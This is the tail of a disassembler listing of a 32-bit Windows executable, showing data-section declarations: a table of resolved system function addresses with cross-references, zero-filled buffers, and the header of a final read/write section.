dword_4E172C	dd 77E6167Bh		; DATA XREF: sub_4CE2E0+2E2w
					; sub_4D0C5C+97r ...
dword_4E1730	dd 77E6AF8Fh		; DATA XREF: sub_4CE2E0+2F6w
					; sub_4CF94C+1A6r
dword_4E1734	dd 77E6AD34h		; DATA XREF: sub_4CE2E0+30Aw
					; sub_4CF94C+193r ...
dword_4E1738	dd 77E7C657h		; DATA XREF: sub_4CE2E0+31Ew
dword_4E173C	dd 77E7751Ah		; DATA XREF: _4:004CDEDFr
					; sub_4CE2E0+332w
dword_4E1740	dd 77F516F8h		; DATA XREF: sub_4CE2E0+346w
					; sub_4D835A+1Fr
dword_4E1744	dd 77F51597h		; DATA XREF: sub_4CE2E0+35Aw
					; sub_4D83DD+1Cr
dword_4E1748	dd 77E7C726h		; DATA XREF: sub_4CE2E0+36Ew
					; sub_4D8397+16r
dword_4E174C	dd 77E79908h		; DATA XREF: sub_4CE2E0+382w
					; sub_4D2DD0+2Er ...
dword_4E1750	dd 77F53275h		; DATA XREF: sub_4CE2E0+396w
					; sub_4DB82A+2Br
dword_4E1754	dd 77F7E300h		; DATA XREF: sub_4CE2E0+3AAw
					; sub_4CF61F+5r ...
dword_4E1758	dd 77E805B8h		; DATA XREF: sub_4CE2E0+3D2w
					; sub_4D61E1+17Fr
dword_4E175C	dd 77E805D8h		; DATA XREF: sub_4CE2E0+3BEw
					; sub_4CE2E0+5D0r ...
dword_4E1760	dd 77E79881h		; DATA XREF: sub_4CE2E0+3E6w
dword_4E1764	dd 77E79A45h		; DATA XREF: sub_4CE2E0+3FAw
					; sub_4D8864+9r
dword_4E1768	dd 77E64E2Bh		; DATA XREF: sub_4CE2E0+40Ew
					; sub_4DA741+23r
dword_4E176C	dd 77E74D76h		; DATA XREF: sub_4CE2E0+422w
					; _4:004CEC5Dr	...
dword_4E1770	dd 77E77CCEh		; DATA XREF: sub_4CE2E0+436w
					; sub_4D9A34+69r ...
dword_4E1774	dd 77E706B7h		; DATA XREF: sub_4CE2E0+44Aw
dword_4E1778	dd 77E6D706h		; DATA XREF: _4:004CDE93r _4:004CDEBCr ...
dword_4E177C	dd 77E78B82h		; DATA XREF: sub_4CE2E0+472w
					; _4:004D0B0Br	...
dword_4E1780	dd 77E6BD68h		; DATA XREF: sub_4CE2E0+486w
dword_4E1784	dd 77E74A3Bh		; DATA XREF: sub_4CE2E0+49Aw
					; sub_4DB3FC+57r
dword_4E1788	dd 77E78C81h		; DATA XREF: sub_4CE2E0+4AEw
					; sub_4D0346+74r ...
dword_4E178C	dd 77F51587h		; DATA XREF: sub_4CE2E0+4C2w
					; sub_4CF252+3BCr ...
dword_4E1790	dd 77E7C9E7h		; DATA XREF: sub_4CE2E0+4D6w
					; sub_4D8C17+8r ...
dword_4E1794	dd 77E61BE6h		; DATA XREF: sub_4CC271+137r
					; sub_4CC271+16Ar ...
dword_4E1798	dd 77E616B4h		; DATA XREF: sub_4CE2E0+4FEw
					; sub_4D8401+2Dr ...
dword_4E179C	dd 77E64EA0h		; DATA XREF: sub_4CE2E0+512w
					; sub_4DA77D+23r
dword_4E17A0	dd 77E75090h		; DATA XREF: sub_4CE2E0+526w
					; sub_4CEDE4:loc_4CEDEEr ...
dword_4E17A4	dd 77E7980Ah		; DATA XREF: sub_4CE2E0+53Aw
					; sub_4CFFBF+125r ...
dword_4E17A8	dd 77E79E34h		; DATA XREF: sub_4CE2E0+54Ew
					; sub_4CFECD+91r ...
dword_4E17AC	dd 77E6169Ah		; DATA XREF: sub_4CE2E0+562w
					; sub_4CFFBF+14Br ...
dword_4E17B0	dd 77E7F044h		; DATA XREF: sub_4CE2E0+576w
					; sub_4D8EF3+56r
dword_4E17B4	dd 77E79D5Bh		; DATA XREF: sub_4CE2E0+58Aw
dword_4E17B8	dd 77E79924h		; DATA XREF: sub_4CE2E0+59Ew
					; sub_4DA226+6Ar ...
dword_4E17BC	dd 77E79D8Ch		; DATA XREF: sub_4CE2E0+5B2w
					; sub_4CF94C+282r ...
dword_4E17C0	dd 77E76A2Eh		; DATA XREF: sub_4CE2E0+5C6w
					; sub_4D1CC4+1E2r ...
dword_4E17C4	dd 77D98E9Ah		; DATA XREF: sub_4CE2E0+5FFw
					; sub_4D8401+Br ...
dword_4E17C8	dd 77D44D9Bh		; DATA XREF: sub_4CE2E0+613w
					; sub_4CF252+88r ...
dword_4E17CC	dd 77D4D42Bh		; DATA XREF: sub_4CE2E0+627w
					; sub_4DB1EA+44r
dword_4E17D0	dd 77D6ADD7h		; DATA XREF: sub_4CE2E0+63Bw
					; sub_4D8401+1Er ...
dword_4E17D4	dd 77D4C96Ah		; DATA XREF: sub_4CE2E0+64Fw
					; sub_4D7494+5Dr ...
dword_4E17D8	dd 77D4C783h		; DATA XREF: sub_4CE2E0+663w
					; sub_4D848C+45r ...
dword_4E17DC	dd 77C87425h		; DATA XREF: sub_4CE2E0+69Cw
					; sub_4CF94C+2D4r
dword_4E17E0	dd 77C7212Fh		; DATA XREF: sub_4CC15E+41r
					; sub_4CE2E0+6B0w ...
dword_4E17E4	dd 77C76551h		; DATA XREF: sub_4CE2E0+6C4w
					; sub_4D5456+1D1r
dword_4E17E8	dd 77C72C6Bh		; DATA XREF: sub_4CC15E+8Ar
					; sub_4CE2E0+6D8w ...
dword_4E17EC	dd 77C87887h		; DATA XREF: sub_4CE2E0+6ECw
					; sub_4CFD24+E6r ...
dword_4E17F0	dd 77D458EEh		; DATA XREF: sub_4CC15E+38r
					; sub_4CE2E0+700w
dword_4E17F4	dd 77D458FDh		; DATA XREF: sub_4CC15E+97r
					; sub_4CE2E0+714w
dword_4E17F8	dd 77C7506Dh		; DATA XREF: sub_4CC15E+2Br
					; sub_4CC271+26r ...
dword_4E17FC	dd 77C71BB0h		; DATA XREF: sub_4CC15E+53r
					; sub_4CC15E+81r ...
dword_4E1800	dd 77C72889h		; DATA XREF: sub_4CC271+175r
					; sub_4CE2E0+750w
dword_4E1804	dd 77C729E2h		; DATA XREF: sub_4CC15E+75r
					; sub_4CE2E0+764w
dword_4E1808	dd 77D45CBCh		; DATA XREF: sub_4CC216+Fr
					; sub_4CE2E0+778w
dword_4E180C	dd 77D48977h		; DATA XREF: sub_4CC216+41r
					; sub_4CE2E0+78Cw
dword_4E1810	dd 77D47F34h		; DATA XREF: sub_4CC216+4Ar
					; sub_4CE2E0+7A0w
dword_4E1814	dd 77D4DCCCh		; DATA XREF: sub_4CC271+5Cr
					; sub_4CE2E0+7B4w
dword_4E1818	dd 77D477C0h		; DATA XREF: sub_4CC271+64r
					; sub_4CC271+6Fr ...
dword_4E181C	dd 77D414D4h		; DATA XREF: sub_4CC271+E9r
					; sub_4CE2E0+7DCw
dword_4E1820	dd 77D44200h		; DATA XREF: sub_4CC271+105r
					; sub_4CE2E0+7F0w
dword_4E1824	dd 77D43DD3h		; DATA XREF: sub_4CC271+123r
					; sub_4CE2E0+804w
dword_4E1828	dd 77D441F2h		; DATA XREF: sub_4CC271+12Dr
					; sub_4CE2E0+818w
dword_4E182C	dd 77D49A11h		; DATA XREF: sub_4CC216+31r
					; sub_4CE2E0+82Cw
dword_4E1830	dd 77D47627h		; DATA XREF: sub_4CC271+157r
					; sub_4CE2E0+840w
dword_4E1834	dd 77D46F5Bh		; DATA XREF: sub_4CE2E0+854w
dword_4E1838	dd 77D442CFh		; DATA XREF: _4:004CE2C7r
					; sub_4CE2E0+868w
dword_4E183C	dd 77E7AC37h		; DATA XREF: sub_4CC3F3+45r
					; sub_4CE2E0+87Cw
dword_4E1840	dd 0			; DATA XREF: sub_4CE2E0+888o
byte_4E1844	db 0			; DATA XREF: sub_4CF166+69o
					; sub_4CF166+7Fw ...
		align 4
		dd 20h dup(0)
dword_4E18C8	dd 77FC5940h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_4CF252+25o
					; sub_4CF61Fo ...
dword_4E18E0	dd 990538h		; DATA XREF: sub_4CFECD+25r
					; sub_4CFECD+5Dr ...
dword_4E18E4	dd 9900A8h		; DATA XREF: sub_4CF036+50r
					; sub_4CF036+8Er ...
dword_4E18E8	dd 9902F0h		; DATA XREF: sub_4CF94C:loc_4CFA1Er
					; sub_4CF94C+10Br ...
dword_4E18EC	dd 990780h		; DATA XREF: sub_4CF63E+7Er
					; sub_4CF6DE+25r ...
dword_4E18F0	dd 0			; DATA XREF: sub_4D2D50+8r
					; sub_4D2D50+19r
dword_4E18F4	dd 0			; DATA XREF: sub_4D2D50+10r
dword_4E18F8	dd 950048h		; DATA XREF: _4:004D0A28r _4:004D0AFFr ...
dword_4E18FC	dd 960090h		; DATA XREF: sub_4D2DD0+660w
					; _6:off_4E0B80o
dword_4E1900	dd 970098h		; DATA XREF: sub_4D2DD0+67Ew
					; _6:004E0B98o
dword_4E1904	dd 9800A0h		; DATA XREF: sub_4D2DD0+69Dw
					; _6:004E0BB0o
dword_4E1908	dd 912518h		; DATA XREF: sub_4CF252+34r
					; sub_4CF252+5Er ...
dword_4E190C	dd 913140h		; DATA XREF: sub_4D2DD0+227w
					; sub_4D2DD0+235r ...
dword_4E1910	dd 4000F0h		; DATA XREF: sub_4D3610+D8w
					; sub_4D3610+DEr ...
dword_4E1914	dd 0			; DATA XREF: sub_4D4D70+4r
					; sub_4D4D70+Cw ...
dword_4E1918	dd 2 dup(0)		; DATA XREF: sub_4CC271+DDo
					; sub_4DAD0C+37o
dword_4E1920	dd 0			; DATA XREF: sub_4D7333+11r
					; sub_4D7494+22w ...
		align 8
dword_4E1928	dd 0			; DATA XREF: sub_4D5BD7+3ABw
					; sub_4D5BD7+3DBw ...
		align 10h
dword_4E1930	dd 77FC5880h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_4CD2E0+3B3o
					; sub_4D61E1+73o ...
dword_4E1948	dd 0			; DATA XREF: sub_4D7333+24w
					; sub_4D7333+29r ...
dword_4E194C	dd 9123B8h		; DATA XREF: sub_4D5BD7+22Ar
					; sub_4D5FCD+12r ...
dword_4E1950	dd 912478h		; DATA XREF: sub_4D9DD4+F6w
dword_4E1954	dd 912418h		; DATA XREF: sub_4D58CF+1Ar
					; sub_4D5BD7:loc_4D5D97r ...
dword_4E1958	dd 0			; DATA XREF: sub_4D61E1+D0Dw
					; sub_4D71C3+5Fr
dword_4E195C	dd 0			; DATA XREF: sub_4D58A0+3r
					; sub_4D58A0+1Dw ...
dword_4E1960	dd 0			; DATA XREF: sub_4D5BD7+3B5r
					; sub_4D5BD7+3C6w ...
dword_4E1964	dd 0			; DATA XREF: sub_4D61E1+82r
					; sub_4D61E1+E3r ...
dword_4E1968	dd 0			; DATA XREF: sub_4D61E1+105r
					; sub_4D61E1+10Bw ...
dword_4E196C	dd 0			; DATA XREF: sub_4D613C+5r
					; sub_4D614D+Ar ...
dword_4E1970	dd 0			; DATA XREF: sub_4D7333+9Br
					; sub_4D7494+9Ew ...
dword_4E1974	dd 0			; DATA XREF: sub_4D7333+A8r
					; sub_4D7494+CCw ...
dword_4E1978	dd 0			; DATA XREF: sub_4D7333+BAr
					; sub_4D7494+FAw ...
dword_4E197C	dd 0			; DATA XREF: sub_4D7333+D4r
					; sub_4D7494+128w ...
dword_4E1980	dd 0			; DATA XREF: sub_4D7333+F0r
					; sub_4D7333+10Cr ...
dword_4E1984	dd 0			; DATA XREF: sub_4D7333+11Er
					; sub_4D7333+135r ...
dword_4E1988	dd 0			; DATA XREF: sub_4D7333+3Fr
					; sub_4D7494+1B2w ...
dword_4E198C	dd 0			; DATA XREF: sub_4D7333+5Dr
					; sub_4D7494+1E0w ...
dword_4E1990	dd 0			; DATA XREF: sub_4D7333+13Dr
					; sub_4D7494+20Ew ...
dword_4E1994	dd 0			; DATA XREF: sub_4D7333+1Er
					; sub_4D7494+23Cw ...
dword_4E1998	dd 0			; DATA XREF: sub_4D7333+C2r
					; sub_4D7333+FFr ...
dword_4E199C	dd 0			; DATA XREF: sub_4D7333+6Br
					; sub_4D7494+298w ...
dword_4E19A0	dd 20h dup(0)		; DATA XREF: sub_4D7333+CFo
					; sub_4D7494+45o ...
dword_4E1A20	dd 0			; DATA XREF: sub_4D8892+27w
					; sub_4D8892+32r
		align 8
dword_4E1A28	dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_4CD2E0+3A8o
					; sub_4D848C+6o ...
byte_4E1A40	db 0			; DATA XREF: sub_4D8892+7r
					; sub_4D8892+15r ...
		align 4
dword_4E1A44	dd 910000h		; DATA XREF: sub_4D8397+4r
					; sub_4D8397+22w ...
dword_4E1A48	dd 56Bh	dup(0)		; DATA XREF: sub_4D848C+11o
					; sub_4D84F7+5o
dword_4E2FF4	dd 456h	dup(0)		; CODE XREF: _5:004DE2F8j
dword_4E414C	dd 63Fh	dup(0)		; DATA XREF: _2:off_42955Co
dword_4E5A48	dd 0			; DATA XREF: sub_4D8892+7Cr
					; sub_4D8892+82w ...
		align 10h
dword_4E5A50	dd 0			; DATA XREF: sub_4CC15E+25r
					; sub_4CC15E+4Ar ...
dword_4E5A54	dd 0			; DATA XREF: sub_4CC216+23r
					; sub_4CC216+2Br ...
dword_4E5A58	dd 2 dup(0)		; DATA XREF: sub_4CC3F3+32o
dword_4E5A60	dd 0			; DATA XREF: sub_4CC271+2Cw
					; sub_4CC271+57o
		align 8
dword_4E5A68	dd 0			; DATA XREF: sub_4CC271+36w
		dd 2 dup(0)
dword_4E5A74	dd 0			; DATA XREF: sub_4CC271+52w
		dd 4 dup(0)
dword_4E5A88	dd 0			; DATA XREF: sub_4CC271+40w
		align 10h
dword_4E5A90	dd 0ECh	dup(0)		; DATA XREF: sub_4D8EF3+28o
					; sub_4D8EF3+42o ...
byte_4E5E40	db 0			; DATA XREF: sub_4D90EF+71w
					; sub_4D90EF+8Fr
byte_4E5E41	db 0			; DATA XREF: sub_4D90EF+7Bw
byte_4E5E42	db 0			; DATA XREF: sub_4D90EF+85w
		align 4
		dd 13h dup(0)
dword_4E5E90	dd 42h dup(0)		; DATA XREF: sub_4D90EF+Bo
					; sub_4D90EF+17o ...
dword_4E5F98	dd 40h dup(0)		; DATA XREF: sub_4D9638+ABo
					; sub_4D971C+5Do
dword_4E6098	dd 77FC5A00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_4D9638+25o
					; sub_4D9696o ...
dword_4E60B0	dd 0			; DATA XREF: sub_4D9638+34r
					; sub_4D9638+4Ew ...
		align 8
dword_4E60B8	dd 77FC59E0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_4D9DD4+6o
					; sub_4DA0C8+25o
byte_4E60D0	db 0			; DATA XREF: sub_4D9C54:loc_4D9C64r
					; sub_4DA0C8+30w
		align 4
dword_4E60D4	dd 912110h		; DATA XREF: sub_4D53D0+Dr
					; sub_4D53D0+26r ...
dword_4E60D8	dd 912358h		; DATA XREF: sub_4D50D0+264r
					; sub_4D9DD4+72w ...
dword_4E60DC	dd 0			; DATA XREF: sub_4CD2E0+3FDw
dword_4E60E0	dd 0			; DATA XREF: sub_4DB677+2Fw
					; sub_4DB677+47r
byte_4E60E4	db 0			; DATA XREF: sub_4DB677+4r
					; sub_4DB677+12r ...
		align 4
dword_4E60E8	dd 0			; DATA XREF: sub_4CCA80+28r
					; sub_4CCA80+4Cw ...
		dd 2 dup(0)
dword_4E60F4	dd 0			; DATA XREF: sub_4CC86E+4r
					; sub_4CC86E+9Dr ...
		dd 3 dup(0)
dword_4E6104	dd 0			; DATA XREF: sub_4CCA80+C0r
					; sub_4CCDBF+A6r
		dd 0
dword_4E610C	dd 0			; DATA XREF: sub_4CCDBF+26r
					; sub_4CCDBF:loc_4CCE29w
_6		ends

; Section 8. (virtual address 000E7000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000E6200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4E7000h
		align 2000h
_idata2		ends


		end start